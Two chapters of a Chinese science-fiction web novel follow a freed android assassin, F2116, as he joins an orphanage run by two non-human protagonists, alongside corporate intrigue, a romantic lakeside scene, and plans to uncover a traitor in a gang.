那条禁令不单切断了他学习、进化的路,也切断了他从武器、变成真正会生活、有灵魂的人的可能。
第48章 第 48 章 记得随身携带过滤器出门……
假如当初能被开启的禁令再多一点就好了。
关闭他的情感能力, 让他能够毫无负担、轻松自如地作为武器,在人群中穿梭。
可偏偏禁令没有。
他可以被沙漠玫瑰的美触动,但不能经手任何一盆植物。
他可以一点一点舔着冰淇淋甜筒, 看着被很多大人、小孩哄围着的流动冰淇淋车,思索“我也可以试试做这个”, 但他其实不能。
他可以为油画而入神, 为音乐而触动,他途径许多本能让他成为人,将他慢慢填满的美好之物,但那些终不能成为他的。
因为无论他将园艺书籍翻看数百遍,将画笔举起上千次, 他永远无法学会这些, 哪怕仅仅只是在画纸上留下笔直的一笔。
禁令像一个囚笼,将他严苛且不容分毫争辩的与世界分隔开,它定死了他在命运中的位置:
一个杀手, 一个间谍。他的手注定拥抱死亡,他注定从万家灯火前路过,而永不能融入那些温暖。
但即便只能做一具空壳武器, 他依旧得活着。
因为他的命是那么多同伴用鲜血和生命托举而起的, 所以他即便被缢绳悬挂着、绞勒着咽喉, 他的双脚也不能着地。
——F2116很难将这些情绪描述清楚, 因此只能呆板地复述这些年自己的行动轨迹:
“……AF56年1月4日。
在黑医诊所接受手术太危险了, 我很可能被大卸八块,甚至身份暴露,被送回公司。
所以我趁着晚上,在废弃站淘到一张二手的面部义体,还有一些手术设备, 修理好后给自己换上。”
“AF56年1月5日。
路过花店,但是养不活花,我在门口看了一会,回到基地改造后脊的破口。”
芬尼安没忍住抹了把脸,有种“终于从一堆痛苦的事里听到令人欣慰的消息了”的庆幸感:“你还有个基地?”
F2116乖顺地点头:“在废弃站里。只要不在环卫公司工作时在场,就不会被赶走。就是准备好的被褥,总会过一段时间,就被环卫公司收走……”
“……”芬尼安又窒息地坐回去了,重重把额头砸在说不出话的达斯汀肩上。
凯西都因为故事之沉重,不由得放下了游戏机:
“但你不是可以杀人吗?接些通缉悬赏单子,可以赚很多钱的吧?你应该能过得很好才对。买房、买车,享受美食——老天,别告诉这些也在学习能力禁止的行列内?”
F2116继续乖乖点头,在场的人看他,感觉都能幻视出软软微耷的兔耳朵,还有背后不安抖动的圆尾巴:
“作为武器,我们只需要满足基本的生存需求就够了,没有享受的需求。哦!但是,公司有教过我们如何用最低成本,延续生存!”
F2116抬起头,眼神有些企盼地投向哈斯塔:
“我……我其实有好好保养自己的。每周会定时进行一次全面维修,每天都有好好做清洁和修剪,还有定时的训练……我、我还捡到了一把很好看的小刀!刀柄上刻着花纹,还有一台照相机,我用它拍了很多工作照。”
哈斯塔:“……”
什么叫“保养自己”?什么叫“清洁维修”?手里有一台照相机,正常人都是拿来拍风景拍自拍,你拿来拍工作照还喜颠颠的样子……够了。别说了。他心疼仿生人。
他忍不住揉了一下鼻梁:“你接着说吧,然后你做了什么?”
F2116试图从他乏善可陈的人生中找到一些有趣的、或者能回应众人期待的事宜,但冥思苦想半天,也只能沮丧地低下头:
“就是,每天定时保养清洁,搜集资源,完成刺杀任务,然后休息……”
“有时也会遇到公司搜查的队伍,那样的话,就得收拾行李,躲去下一个区……不过我的行李不多的!转移据点很方便。”
哈斯塔:“……”这是什么值得高兴的事吗?“期间你始终没见过康内琉斯?”
F2116呆呆地摇头:“如果遇见……创造者一定会觉得很失望吧?为什么唯一存活下来的,是排到两千多号的我,而不是0001那种原型机……”
F2116愧疚且羞惭地说:“抱歉,如果我是原型机的话,也许就能告诉你们更多关于创造者的故事了。好像,除了杀戮以外,我什么事都做不到……”
沮丧的气息在鼻翼间弥漫,哈斯塔莫名有种看见兔子试图在高脚杯里团紧自己、伪装成一颗不会动的毛球自闭的既视感。
他克制了数秒,终究还是没有抵挡住把这种从未见过的新款式·食草系人类往自己碗里扒拉的冲动:“——问题不大,你可以从今天开始学。”
他给一旁不知在沉吟什么的G8273递去眼神,示意G8273解除F2116学习能力上的限制,同时拉开游戏界面。
游戏系统活像能读懂他心里的盘算似的:
【您已制伏损坏孤儿院私人设施的[F2116],是否招募入院?】
甚至不需要经过F2116的同意,哈斯塔就可以直接获得这位员工。
但他还是先询问了一下F2116的意愿——毕竟F2116并不是什么穷凶极恶、罪有应得的罪犯,也不是一把冷冰冰的武器,而是一个会恐惧、有感情的独立个体:
“有关你今晚造成的损伤。你可以直接赔偿——毕竟按照你说的,你现在应该有不少存款才对。又或者,你会愿意留在院里?”
“……”F2116没反应,像一尊凝固的雕塑。
解除完限制的G8273给F2116放了几秒理解“禁令已解除,我彻底自由了”的时间,抬手在F2116面前摆了摆:“回神。想想你接下来的去留问题——是留下,还是离开?”
哈斯塔想了想:“或者,你可以先和我们一起享用今晚的晚餐?”
·
——一切都不真实得像个梦。
被两个长得很好看的人类拉着手,牵进孤儿院时,F2116反复确认自己被解除的禁令,恍惚又茫然地想。
刚刚那个银头发的男人做了什么?为什么他的禁令不声不响地就解除了?
禁令解除……他在心里默默将这句话反复咀嚼了几遍,逐渐的,一种悸动从心底深处蔓延上来:
那是不是意味着,他可以学习怎么绘画了?
他可以学怎么演奏小提琴,怎么将竖琴拨弄出叮咚清亮又动人的乐曲,他可以学习跳舞,学习怎么做一车冰淇淋……还有,学习养花。
狭窄的牢笼在他面前喀嚓裂开了一条缝,而后分崩离析,于是整个广阔的、无垠的世界向他彻底敞开。
“你的手在发抖,是不是冷?”拉着他右手的灰发男人担忧地向他回头,一堆围着他们的人类呼啦一声散开,叮铃哐啷一阵后又呼啦一声围过来:
“来来来,批我的外套!”
“我的小毛毯送你!”
“给你揣了点热面包——喂!都散开,别挤这儿凑热闹,别给他披一堆东西!院里有暖气,一会儿又该热坏了!”
暖风从四面八方涌来,用温度、用声音、用眼神包裹着他,浸润着他,他无处可藏,无措到近乎感到灼烫了。
一篮松软喷香的小面包被塞进他的手里,他在那个脾气似乎有些暴躁的棕色刺刺毛男人的示意下,小心翼翼地拿起一只椰蓉餐包咬了一小口:“——!”
好……好吃!这是什么?面包应该是这种味道吗?和他之前吃过的为什么不一样?
刺刺毛男人仔细打量他的神色,半秒后得意昂首:“没人能对我做的餐点说不,除非此人没有味觉!”
灰发男人也跟着在篮子里拈了只小面包叼着,拉着他含糊介绍:“窝们……这是个孤儿院。一楼是餐厅、学校、教职员工办公室和厨房,待会儿我们就在餐厅吃大餐;二楼是宿舍和大泳池。”
他的步伐像做梦似的虚浮着,一路飘过堆满甜点、烤鸡、肉排的盛宴长桌,飘进学校的大图书馆。
灰发男人仅仅是带他走马观花地看一眼学校布局,他却从那些整齐书柜边支棱出来的标牌中,敏锐地捕捉到种种令他挪不开眼的分类:
【文学类】【植物类】【农学(农艺学)】【绘画】【音乐】【厨艺】……
棕发刺刺毛的男人似乎注意到他目光停留的时间有些长,干咳了一声:“那个厨艺……正经学校图书馆不至于收容这么多食谱,但我……咳咳,工作需求,所以申请了不少参考资料。”
申请,就能得到装满这么大一个分区的食谱吗?F2116感到困惑。
他记得自己还在公司时,大家有时向管理员申请多一份水或压缩饼干,也会被严厉地训斥。
灰发男人温柔地看他:“如果你愿意加入孤儿院,日后有任何感兴趣的科目,也可以和院长申请。他从没拒绝过我们的任何要求……嗯,有时候我会觉得院长对我们的态度有点像……家长对养的孩子的过度溺爱?”
——是真的很过度了。
如果说F2116看到图书馆,还只是微微的意动和十分艳羡,等他看到宿舍区被哈斯塔最近刚单拎出来整合的“浴场”,那简直就是震惊过度后的麻木了:
浴场分三个大部分。
最核心的洗浴专区里,配备了各类桑拿室,还有小机器人随时提供按摩服务。
偏北一点是深深浅浅的浴池,包含有芬芳浴、药浴、红酒浴、奶浴……
各色的浴池边还配备了舒适的躺椅、饮料机,他呆呆地亦步亦趋跟在达斯汀身后参观时,达斯汀还给他在饮料机接了杯冰汽水:
“干吃面包会不会有点噎?浴场里的温度可能有点高,喝点冰镇汽水中和一下。”
F2116:“……”
热和干可以中和,谁能来中和一下他内心的震惊??
——中和是不可能中和的,只可能更过分这个样子。
达斯汀又带着他来到第二个分区:“这里是泳池和健身区。”
恒温泳池当然是最基本的,由于他们这是孤儿院内部设施,泳池除了深水区、浅水区,也包括了数个儿童泳池。
跳水台、沐浴间、休息区,休息区右侧直通健身房,各类健身设备,包括义体的修理保养设备都应有尽有。
F2116:“……”
他在参观些什么……依稀记得,这里好像是个孤儿院?孤儿院里的公共卫浴包含温泉泳池健身房,这合适吗?
院长用雄厚的财力告诉他,合适!
只要院长愿意!他甚至可以在第三个分区建起水上游乐园!咖啡厅!小餐厅!统统都由烹饪课程学分修满的学员掌管!
“……”F2116的神情逐渐安详下来:确定了,他一定在做一个童话般美好到荒诞的梦。
原本的手足无措,因为这种坚信变成逐渐适应。
他开始放松下来,鼓起勇气主动和周围的人搭话、主动去触碰或拿取自己感兴趣的东西:书籍、饮料或餐桌上堆垒的高高的美食。
毕竟这是他的梦,放肆一点又能有什么危险呢?他多吃一点点……只是多吃一点点小蛋糕的话,应该也不会有管理员突然蹦出来责打他的吧?
餐桌边。
哈斯塔在饱食度到达100%后不得不停下来,注视着被众人当小可怜轮番投喂,努力放松但还是羞赧得整个人都红彤彤的F2116若有所思。
他微微歪过身体,同一旁慢条斯理放下刀叉,正伸手去取果酒的G8273低语:
“你看F2116的选择,明显对甜食有偏好。这说明他有与常人无异的味觉……你不觉得有些奇怪?”
公司既然将F系仿生人当做武器对待,为什么还要赋予他们味觉?
视听嗅味触,对于人型武器来说,唯独味蕾是最没有必要存在的。毕竟武器们能用味觉做什么?总不可能怼着毒药舔一舔,好分辨药物品种吧?
既然如此,为什么还要专门研究、实现如何让仿生人拥有味觉?难道不需要花大量的时间金钱吗?
G8273搁下了手中的酒杯:“既然你提起这个问题,我也有事要告诉你。本来这些话该在黑湖边就说出来的,但那时的气氛……”
哈斯塔能够理解:“现在的气氛也不适合谈论冷冰冰的正事。我不想打扰人类过节的心情,我们换个地方聊?”
长桌边热闹非凡,他们俩的离席并不起眼。
哈斯塔和G8273并肩慢悠悠地踱出后门,步入暖雾氤氲的后院。
银月落进黑湖里,在波光粼粼的湖面上拖出长而破碎的倒影。G8273凝视水雾缭绕的黑湖几秒:
“你有没有调查过公司?”
“在我刚抵达这个世界时,公司就归两个话事人掌管。”
“我那时并没有在意这种违反‘一山不容二虎’规律的反常情况,毕竟人类的权利斗争或共享,与我的升级进化没有关系。即便后期我借用兰瑟·文森特的身份,接触巴比伦的事务,我也不会在生意场之外做文章。”
但前段时间,哈斯塔开始插手军火生意,为防意外发生时自己对敌人一无所知,G8273对公司进行了一番详细地调查,这一调查就查出一些微妙之处:
“公司的上一任掌权人死于AF59年。”G8273的右眼投影出自己搜查到的资料,“公司对外公布的新闻是正常病逝,但在警方的留档里,这位‘病死’的总裁床头柜上,放着三枚纸折的黑色曼陀罗花。”
哈斯塔还记得G8273刚刚说的那句“既然你提起这个问题,我也有事要告诉你”:
“……我们现在正在谈论的这件事,和F系仿生人的味蕾有关?”
G8273挑眉:“当然。你要不要猜猜,是哪里有关?”
“——友情提示,黑色曼陀罗的花语是‘无间的爱、复仇、不可预知的死亡’……你还记得F系仿生人被全部销毁发生在哪年吗?”
半小时前,F2116才说过这个信息,哈斯塔当然记得:“AF56年……等等?”
他倏然反应过来:“公司的上一任总裁,死在F系仿生人全军覆没后第三年,他的床头放了三朵象征复仇的黑色曼陀罗纸花?”
“不光如此。”G8273变魔法似的伸手,一朵黑色纸花悬浮在他的掌心上方,“你可以试着闻闻看,这朵纸花上有什么味道?”
根本不需要凑近闻嗅,哪怕这朵纸花被作为证据,在警署保存三年之久,那浓郁的花香依旧清晰如昨(主要因为它被收容在总警署,但凡丢给哪个分警署,都不会有这么好的保管效果)。
哈斯塔仅仅花了点时间辨识它:“折纸上沾着曼陀罗花的花粉?”
他记得第一次去洛文德区的时候,达斯汀曾在开车时提到过,这个世界经历过一次严重的环境污染,导致动植物大量灭绝,现存的植物都是在那之后逐渐复原出来的再生种。
G8273微微颔首:“曼陀罗不具备一定要复原的价值。它所含有的阿托品和东莨菪碱,在这个世界已有更加高效、低廉的手段提取合成。”
“我在各大公司的数据档案库里查过,没有哪家公司、研究所复原过曼陀罗,那折纸上沾着的曼陀罗花粉是从哪里的?”
聊到这里,答案已经昭然若揭了。哈斯塔古怪地看着G8273掌心上飘着的那朵折纸:
“我依稀记得,康内琉斯是在存在之战后失踪的?你觉得令公司的上一任掌权人‘病死’,并在他的床头柜上放纸折花的人,是康内琉斯?”
——这也太怪了!简直比康内琉斯特意给做武器用的F系仿生人赋予味觉更奇……呃。等等。这样串起来一想,还真是不知道两者哪个更奇怪。
是康内琉斯居然会为F系仿生人的死复仇?
还是康内琉斯会闷在实验室里兢兢业业地搞研究,就为了让F系仿生人拥有能够品尝酸甜苦辣一切味道的味蕾?
在他们身后,《Jingle Bells》欢快的银铃声从孤儿院内传出,还混着员工们不成调的鬼吼鬼叫和醉意浓重的大笑。
蒸腾的水汽将他们的面颊熏得微微泛红,哈斯塔看见G8273浅色的眼睫上凝结出细小的水露,随着眨眼在月光下折射出碎星似的细闪。
他抬手用拇指轻轻抹了一下,在眼尾处带出一道湿漉温暖的水痕,紧跟着手腕就被G8273抓住,侧过脸亲吻了一下。
G8273上前一步,消弭了他们之间的距离,另一只手绕过他的腰,贴着腰线缓缓向下摩挲时,声音依旧平稳:
“这两个猜测,也未必就能证明康内琉斯良心未泯。”
“复仇可能是气不过自己的研究成果被销毁。大费周折地研究味觉复现,也可能只是出于对科研的探究,精益求精。”
G8273的声音越来越轻,最终深吻过来。
周遭的一切景物都在暖雾里变得朦胧,哈斯塔被G8273抵着向后退了几步,“哗啦”一声足下一空,落入水中。
哈利之湖温柔地拥抱着他们,托举着他们。
被浸湿的衣服黏在皮肤上,格外难脱,哈斯塔粗暴地扯开了G8273的领口,手掌顺着布料与肌肤的间隙,探向那片坚实的胸肌,G8273的手掌也同样急迫且用力地顺着挑开的衣摆,握上他后腰的肌肤。
头顶上方,月光通过浅层的水面,为他们建起了一座半澄明的穹顶。
他们在互相渴求中不断下沉,沉落至再也看不见任何一丝世间的光,再也听不见任何来自世间的声音。
温暖的黑暗中,他们仅有彼此。
手掌和唇舌代替了眼睛,索求和贪婪的攫取代替了声音。
触觉在这一刻被放至最大,一点触碰都足以让汗毛竖立,腰脊战栗。
哈斯塔的手指微微痉挛着蜷起,胡乱地四处乱抓,在无意间碰到一枚药用胶囊大小的硬物,隔着G8273的西装口袋。
但很快地,G8273就强势地握住他的手腕,将那东西从他手里拿出来,随手丢掉,拽着他重回欲望与感知的漩涡。
与此同时。
高佩街,综合公司顶楼。
利奥横七竖八地躺在长沙发上,一手仍抓着酒杯,醉得呼呼大睡。
睡得正香沉间,忽地被人摇醒:“谁……想死?”
他睁开迷瞪瞪的眼睛,对上克拉克面无表情的脸:“……咳。喊醒我做什么?你钓到鱼了?”
克拉克直起身,将投影屏拽到利奥面前:“F2116身上的最后一条禁令被取消了——彻底的取消。除了康内琉斯,还有谁能做到这个?”
利奥的酒醒了大半,坐直身体:“你安在F2116身上的定位器呢?有没有标识出康内琉斯的位置?”
克拉克的脸色不是很好看:“定位消失在米迦勒之翼的地盘……该死,康内琉斯难道又回到老东家身边去了?”
利奥想了想,又懒洋洋地倒回沙发:“也有可能这是伪装。拜托,康内琉斯怎么可能那么容易被定位?那可是*康内琉斯*!”
他加重语气,好像只是重复这个稍显绕口的名字,就足以涵盖一切他想表达的意思似的:
“现在好了,唯一一具F系仿生人没了,康内琉斯的尾巴也没摸着。你接下来的计划是什么?”
克拉克并未因为这个看似糟糕的结果而恼火或不满,这个结局在他放走F2116之前,就早有预料。
这计划最大的价值还是在于替他们确认“康内琉斯还活着”,毕竟按时间来算,这位大科学家今年可该有九十多岁了,谁也不确定康内琉斯是不是已经翘了辫子:
“回波瑞阿斯区,完成这几天堆积下来的工作。你留在这里,对付那个孤儿院和迪思默帮的同盟。”
夺……邀请康内琉斯重回公司,那是为了公司的未来考虑。
对付哈利孤儿院和迪思默帮,则是为了维护公司现在的垄断市场。
克拉克淡淡道:“如果那个处在死神庇护下的孤儿院不好对付,可以试试从迪思默帮下手。”
“……”利奥的表情顿变嫌恶,仿佛踩进了一潭臭烘烘的泥沼里,“从迪思默帮下手?怎么下?撬老雷蒙德的墙角?”
“别了吧,那个珍妮完全是老雷蒙德的忠实走狗。西蒙更恶心,这家伙爱老雷蒙德爱到简直有Daddy Issue。哕,他们两个谁我都不想打交道。”
利奥坐起身,勾起唇角冲克拉克举了举酒杯——才发现杯里的酒早在他刚刚酣睡时就撒光了:“靠。死人木头。我酒撒了一地都不提醒我,哪怕你把酒杯拿走呢?”
利奥将酒杯重重放在茶几上,环臂抱胸:“作为害我浪费美酒的补偿,咱们俩交换工作。我去工业区,你留下对付那两个小变态。”
“这样分工才合理吧?需要用武力对抗的战场,交给擅长暴力的人来处理,需要勾心斗角的战场,交给你来处理。”
克拉克不置可否,倒是替利奥重新倒了一杯酒:“波瑞阿斯区禁酒不禁烟,记得随身携带过滤器出门。”
利奥的神情变得微妙:“我怎么感觉你这态度像是在等着看我倒霉呢?一点二手烟,至于还随身携带过滤器?又不是什么生……”
他神情一顿,像是忽然明白了什么,眉头倏地重重一皱:“——啧。难怪你主动要去处理工业区的脏活累活……我知道了。我会随身带着。”
克拉克冲着利奥很浅地笑了一下:“万事小心。活着回来。”
第49章 第 49 章 这点子也太背了!
相隔数个大区, 阴谋的气息并不能传递至哈利之湖深处。
两个非人类肆无忌惮地在光所不能及的黑湖深处纠缠,结束时,哈斯塔的不满只有一个:湖底太硬, 又崎岖不平,对于娇弱的人类膝盖不太友好。
他们并没有急于上岸, 只是卧在浅水区, 仰望上方被月光照得粼粼而澄明的湖:“F2116认为自己并不特殊。”
“不可能。”G8273懒散地用手指在哈斯塔身上划拨,像某种温存的安抚,亦或是食髓知味的爱不释手:
“他能够打破时间的禁锢,论实力,至少与吞噬复制体前的我们在一个层级。你觉得, 综合公司能用工厂流水线制造出两千多个我们?”
哈斯塔:“……”
哪怕是现实世界里的公司研发部, 都不敢梦个这么大的。
他其实也这么想:“如果仿生人具有自救的意识,那必然会优先护送对他们而言最重要的存在,而不是无名小卒。作为原型机的F0001最有可能被优先护送, 而不是F2116。”
他没有闻到谎言的气息,说明这里面一定还藏有F2116自己也不清楚的内情,但目前无从可考。
哈斯塔侧过脸亲吻G8273线条干练漂亮的侧颈, 很快又被G8273反压过来深吻。
细小的气泡从他们偶尔分开的唇间冒出, 折射着澄净的光, 浮升向上。
哈斯塔含糊地低语:“按我们的推论……任务要求的‘找到迪思默帮中的犹大’, 指的就是私下与康内琉斯合作的叛徒。”
“任务会引导我们通过这个叛徒, 找到康内琉斯,再找到潘多拉魔盒——也就是操纵游戏,令我们相见之人的最终目标。”
他顿了一下,随着G8273的动作曲起右腿,踩上G8273的胸口:
“你有没有想过, 如果我们真能拿到潘多拉魔盒,要怎么做?”
藏身于游戏背后的人身份不明,目的不明,他们肯定不能把魔盒屁颠颠地双手奉上。
但不交出魔盒,就意味着始终在辅佐他们的系统,很可能会在那时反捅一刀,成为他们的敌人。
G8273丝毫不受影响地俯身,将他的双手压在湖床上,十指缓缓相扣:“毁掉它,或者带它离开这个世界。”
水纹缓缓波荡开,潜层湖床上的白色细沙像雪粒般扬起,落在他们的脊背与四肢上,又扑簌簌地落下。
哈斯塔的理智逐渐让位于欲望,目光有些涣散地扬起头。G8273似乎又想起什么:“但关于潘多拉,我还有个其他猜想。”
他明显坏心肠地一把按住有些恼火,想掀翻他自己来的哈斯塔:
“潘多拉魔盒曾在不同时期,在不同世界间穿梭,并且我创造者的友人也曾描述过,他们曾尝试摧毁魔盒,但并未成功,魔盒在被彻底损毁前自行逃逸了。”
“自行逃逸”这个词用的就很微妙,哈斯塔的注意力被拽回了一点:“你觉得它有独立意识?”
G8273吻他滚动不定的喉结,用牙齿不轻不重地叼衔:“如果是呢?”
哈斯塔一瞬间的表情变得很怪:“所以从技术层面来说,它算是我们的……母亲?”
“……”G8273动作一顿。
哈斯塔:“换个角度来说,现在我们正在解决的问题其实是,有人想利用我们夺走我们的母亲,但我们必须得阻止Ta并且救出母亲?”
这是什么天雷狗血剧情?
G8273:“……”
……他开始后悔提这个话题了。
·
事实证明,除了玩Suger Daddy的情趣play,在做生命之大和谐运动时可以谈任何正事,除了父母。
他们最后借着结束时的温存完成了这段被卡住的对话,得出的结论是:如果能找到潘多拉魔盒,优先考虑带母……带盒离开世界。
上岸穿衣时,哈斯塔还在庆幸,毕竟他主动提出这个问题,最一开始想的解决方法其实是和G8273分食潘多拉魔盒……差点就地狱笑话照进现实了,哈哈。
东面,赤红的朝阳在金沙尽头吐出灼烫的炎息。
哈斯塔和G8273一前一后走进孤儿院,闻到冲天的酒气,再低头一看,满地都是酩酊大醉的人类在躺尸。
一些不沾酒或酒量足够好的学员正搬运着这群醉死鬼,F2116也在。
一旁和他一起搬人的达斯汀抬头看见哈斯塔,连忙捣了一下F2116:“院长回来了,你不是说要告诉他最后的决定?”
很出乎哈斯塔的意料,F2116居然拒绝了留院的邀请:“我、我会赔付院里所有的损失,还有昨晚的餐饮费。但如果有机会获得自由的话,我果然还是想多去一些想去的地方,做一些之前一直想做,但没法做的事……”
他埋着头说完,又赶紧慌慌张张地抬头补充:“但、但我会把所有存款都捐给孤儿院的!希望能帮助到院里的孩子……”
哈斯塔表情微妙只是因为F2116用的虚拟时态:“‘如果有机会获得自由的话’?你怎么说得好像还没获得自由一样?”
而且他也不可能接受F2116的捐赠啊,仔细算算F2116这几年攒下的东西吧,除了有漂亮花纹的小刀、老式照相机,可能也就存款是值钱的好东西,能让F2116的日子好过点。
把所有存款都捐了?F2116是又想住回废弃站吗?
F2116瑟缩了一下肩膀,但硬是撑住了没回答,只拉开话题道:“离、离开前,你们有什么愿望想实现吗?我,我可以试试。”
“……”一旁的G8273微微歪过身体,低声说,“他不会以为自己在做梦吧?还让我们向他许愿?”
哈斯塔也逐渐意识到自己对待F2116的方式出了错。
没幸福过的人是这样子的,即便身处于温暖舒适中,也只会怀疑这温暖之下是不是藏着陷阱,还是眼前的一切只是一场幻梦。
但想让他们相信自己正处于现实也不难,说点残酷的话题就足以:
“不用搬这帮酒鬼了,进办公室开会。”
他想让F2116清醒,倒不是为了劝说F2116留下,主要是他怕这傻白甜跑出去,净想着“反正是梦,怎么样都无所谓”,隔天就被人骗得小命不保。
他操纵着精神触须飞速暴涨,眨眼就将满地的人类闪送到床。收回时,他还顺手拎了一下F2116,把这磨磨蹭蹭站在原地,不确定自己是不是也该跟上的傻白兔子提溜着后颈,拎进办公室:
“之前我让芬尼安设法取来老雷蒙德的头发,现在已经出检测结果了。”
触须“啪”地一声将门关上。G8273张开手掌,将迅速凝实的检测报告随意丢给芬尼安:“恭喜,按照检测报告的结果来看,你多了个外公,胡斯卢多了个父亲。”
早有心理准备的芬尼安沉稳点头:“我多了一个外……胡斯卢多了一个父亲???”
芬尼安猛然吊高嗓子,瞠目结舌地一把将报告翻到总结页,就见那上面写着:
【根据遗传标记分析,支持雷蒙德·迪思默是维拉·哈代(芬尼安之母)的生物学父亲,亲子关系概率为99.99%以上。】
【……分析,支持雷蒙德·迪思默是胡斯卢的生物学父亲,亲子关系概率为99.99%以上。】
芬尼安:“……父亲??他???我——胡斯卢成我舅了??”
惊天大雷!
唯一值得庆幸的是,虽然当初提出领养的是芬尼安,但因为年龄和档案问题,最终领养人是达斯汀。要不然,他岂不是得上演一出“我领养我亲舅”的好戏??
“咔嚓……”一旁传来嗑瓜子的声音。
哈斯塔侧目望去,就见伊塔库亚、凯西等几个小鬼头扒在院长室窗边,顶着近乎相同的“我去”表情,一边惊叹一边嗑瓜子。
阿尔法虽然面无表情,但嗑瓜子比两个哥哥姐姐还利索。迎上哈斯塔的目光,小姑娘歪头思考了一下,抬起双手:“啪啪啪!”
“……”芬尼安一阵窒息,“这要我怎么跟老雷蒙德说?告诉他你要不再努力多活个几年,毕竟你还有个儿子未成年?”
哈斯塔也不知道年近九十的老雷蒙德听完后会有什么感受:
“但我们没必要把事情弄得那么复杂。”
“我们现阶段的目的,是利用你和老雷蒙德的亲缘关系,在迪思默帮炸鱼。公布你和老雷蒙德的关系,引诱叛徒上钩,对你下手。”
“你把胡斯卢也搬出来,只会让他本就危险的处境更加危险。不如从一开始就不公布——”
“但,”芬尼安急急抛出一个字,声音就一下低了下去,嘟哝似的小声嘀咕,“他如果是我的外公……有医治的条件……我当然希望他能多活个几年。”
“万一他还能看见我母亲回来呢?也许告诉他胡斯卢的存在,能够转变他不打算接受治疗的想法?”
哈斯塔尊重芬尼安的想法:“随你,这是你的家事。而且即便对外公布,我也能护得住胡斯卢。”
一旁听得逐渐震惊张嘴的F2116终于找回了自己语言的能力:“等等,迪思默帮?炸鱼?叛徒?你们要插手迪思默帮的内务?”
哈斯塔冷冷道:“是不得不。”
——才怪,他巴不得敲锣打鼓庆祝这送上门的鸡娃机会。但实话不能说。
哈斯塔:“之前那个叛徒发现胡斯卢在我们孤儿院,已经送了一波病毒进院,想直接杀死所有人。即便我们不插手,敌人也会继续动手,除非胡斯卢死亡。”
美好的童话咔嚓一声裂开,露出属于现实的残酷。
F2116不愿置信地向后退了几步,想这是不是自己疲于逃命,所以难得的美梦里才混进了糟糕的东西……但病毒?
F系仿生人接手的任务里从不囊括此类内容,他也没接触过此类生化武器。
梦不会出现他所不熟悉的东西,只有现实才会不管人是否有所准备,将所有它所能给予的残酷统统倾倒向早已不堪重负的人。
他的呼吸逐渐变得沉重艰难起来,终于从之前的害怕接受现实、因为现实过于完美,变成逐渐接受昨晚的种种都不是一场梦。
值得讽刺的是,他变得敢于接受现实的原因,是从现实的残酷中找到了让他安心的真实感:“我——我要留下帮忙。”
之前他拒绝哈斯塔的邀请,是觉得自己身处梦中,如此难得的好梦当然要抓紧时间享受。
但眼前的一切既然都是真的,那他怎么能不知好歹地拒绝替他解开禁令的恩人的邀请?他刚进孤儿院时,还把恩人的卧室炸了个窟窿!床也炸塌了!
F2116羞愧得难以呼吸:“之前我说的话都不算数,我以为这是……总、总之,我决定加入孤儿院,我要留下帮忙!”
他生怕自己起不到作用似的积极自荐:“F系仿生人,很善于暗杀和卧底的,我们都接受过专业的训练。你们想查迪思默帮的叛徒?我可以潜入迪思默帮卧底,帮你们一起找!”
哈斯塔正要开口,就听系统叮咚响了一声:
【角色:F2116】
【达成隐藏角色图鉴收录!】
【是否查看角色故事?】
哈斯塔:“……?”
等等,什么?
这只软兔子也是隐藏角色?
他震惊之余,下意识要点击故事查看,触须都要搭界面上了,才想起身边这位正主也不受时间静止的限制:“……咳。”
还是先说正事吧:“迪思默帮在老雷蒙德手中不断洗牌、筛选了将近70余年,内里其实很干净。只有两波势力互相对立,分别属于珍妮和西蒙。”
芬尼安从“我视若亲子的娃竟是我舅”的打击中恢复过来:“珍妮对我的态度还算不错,我可以负责试探她。但西蒙……”
他轻啧了一声:“那是个不讨喜的家伙。就连跟随他的那些下属,他都不怎么信任,也从不亲近。你确定能设法靠近他?”
芬尼安扫扫F2116纯良好欺负的样子,很难不心生忧虑:“西蒙是迪思默帮御用的刽子手,心思扭曲残忍,落到他手里可没好果子吃。”
F2116十分坚定:“我可以……!你、你不能质疑唔唔唔。”
太像努力挺起小胸脯的兔子球了,芬尼安没忍住上手挼起F2116的脸,结果摸到一手硬梆梆的劣质塑料假面:“……潜入前,你最好把这张脸给换了,免得还没卧底成功,先被公司发现。”
“还有名字。”哈斯塔扫了眼员工列表里的那串字符提醒,“你应该拥有一个属于自己的名字。”
·
人生第一次为自己取名(?),F2116需要更多时间思考。当他被伊塔库亚等幼崽积极拥簇着上楼,其余员工也离开时,哈斯塔才回到卧室,打开角色故事。
事实上,如今的他已经不怎么在意这图鉴能给他刷出什么故事,毕竟刷的再多,也是不可能再发生的剧情线。
唯一支撑他点开看一眼的原因,是想看看角色故事里会不会提到潘多拉魔盒、康内琉斯,或者阐述F2116之所以特别的原因。
遗憾的是,这次F2116的角色故事也仅是一张巨幅海报,黑白剪影勾勒出一只巨大的蜘蛛。
仔细看才能发现,绘者巧妙地运用了角度造成错觉,实际上这“蜘蛛”纤瘦的躯干是少年的身躯,那些细长的尖鳌状蛛足仅是某种植入义体。
少年的面部带着一只止咬的口笼,身后每一条机械蛛足都拴着一根细长的线。
这些丝线漫无尽头似的向上蔓延,原本该终结于画面顶端一只带着尾戒的手里——但行至中段时,那些丝线却骤然绷断了,飘飘荡荡地散落下来。
结合目前已知的情报,哈斯塔倒是不难推测出F2116原本的剧情:无非是被公司操控,成为傀儡杀手,中途因为某些原因成功突破,挣脱了公司对他的控制……
相比较因不可能再发生的剧情心碎,他更在意致使F2116挣脱控制的原因是什么?
会是潘多拉魔盒吗?还是来自康内琉斯的帮助?
能从海报上得出的信息太少了,哈斯塔仔细观察每一处细节。最终只有两个信息点是他认为值得注意的:
一个是标注在海报侧面的文字,上面写着【亚当——游荡在人间的撒旦】。
另一个是F2116背后漂浮的三个半透明状、几乎和周围杂乱的机械废弃堆融为一体的匣型物体。
经历过G8273在红立方酒吧中的失控,哈斯塔一眼认出那些半透明的东西是什么:复制品!
但F2116怎么会有这么多复制品?
不可能是公司提供的,毕竟没人会在养恶犬时,嫌弃狗咬自己的牙齿还不够锋利,再帮狗磨一磨的。
那就只可能是曾经成功制作过复制品的康内琉斯。
但康内琉斯为什么不给F2116用真正的潘多拉魔盒,只给这么几个复制品?
是潘多拉魔盒已经不在康内琉斯手中了,还是康内琉斯并没有在意F2116到愿意给出魔盒?
哈斯塔的视线最终落在F2116于旧剧情中使用的名字上:亚当。
说实话,哈斯塔不觉得F2116会给自己取这么具有宗教代表性的名字。
即便对于现在的人来说,这个名字已经很普遍,但对于敏感的F2116来说,这名字简直就像是一种自夸,标榜自己才是F系的原型机、最具有价值的那一个似的。
